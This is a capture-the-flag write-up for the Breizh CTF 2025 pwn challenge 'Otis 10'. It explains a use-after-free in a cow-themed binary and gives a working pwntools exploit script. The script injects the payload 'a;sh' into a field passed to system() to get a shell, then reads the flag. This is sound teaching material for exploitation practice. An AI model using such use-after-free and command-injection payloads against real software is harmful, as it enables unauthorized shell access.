Breizh CTF 2025 - Otis 10

Posted Mon 14 April 2025
Author Istark
Category Writeup
Reading 2 min read
Featured image

Challenge Description

Otis 10 is a Pwn challenge from Breizh CTF 2025. The binary simulates a transformation system between a cow and other creatures, and contains a classic Use-After-Free (UAF) vulnerability.

Binary Analysis

The binary provides a menu with the following options:

  • n: Create a new creature (allocates a new structure)
  • v: Transform back into a cow (frees the creature)
  • m: Moo! (allocates a message buffer and lets you input data)
  • r: Roaaar! (calls system() with a command based on the creature’s name)
  • q: Quit

The relevant structure is:

typedef struct {
    char msg[32];
    char name[64];
} creature_t;

The vulnerability arises because after freeing the creature pointer, it is not set to NULL. This allows a classic UAF scenario if a new allocation reuses the freed memory.

Vulnerability

The exploitation flow is as follows:

  1. Create a new creature (n), which allocates a creature_t structure.
  2. Free the creature (v), but the pointer is not set to NULL.
  3. Use the m option, which allocates a 96-byte buffer (same size as creature_t) and lets you input data. This allocation can reuse the freed memory.
  4. The r option calls system() with a command that includes the creature’s name, which is now under your control.

Exploitation

The following exploit script demonstrates the attack:

#!/usr/bin/env python3
from pwn import *

exe = "./otis_10"
context.binary = exe
context.terminal = ["kitty", "-e"]

def start():
    if args.GDB:
        return gdb.debug(exe, gdbscript="b main\nc")
    else:
        return process(exe)


def exploit(p):
    p.sendlineafter(b">", b"n")

    p.sendlineafter(b">", b"v")

    
    p.sendlineafter(b">", b"m")
    p.recvuntil(b"Message :")

    msg = b"A" * 32
    name = b"a;sh\x00"  
    payload = msg + name
    payload = payload.ljust(96, b"A")  

    p.sendline(payload)

    
    p.sendlineafter(b">", b"r")

    
    p.interactive()


if __name__ == "__main__":
    p = start()
    exploit(p)

Exploit Explanation

  • The exploit abuses the UAF by freeing the creature and then reallocating the same memory with controlled data.
  • The name field is set to a;sh\x00, so when system() is called, the command becomes echo 'Roarrr !' | /usr/games/cowsay -f a;sh, which executes sh after the cowsay command fails.
  • This results in a shell, allowing you to read the flag.

Flag

Once the shell is obtained, you can retrieve the flag with:

$ cat flag.txt
BZHCTF{I_dont_have_this_flag_anymore}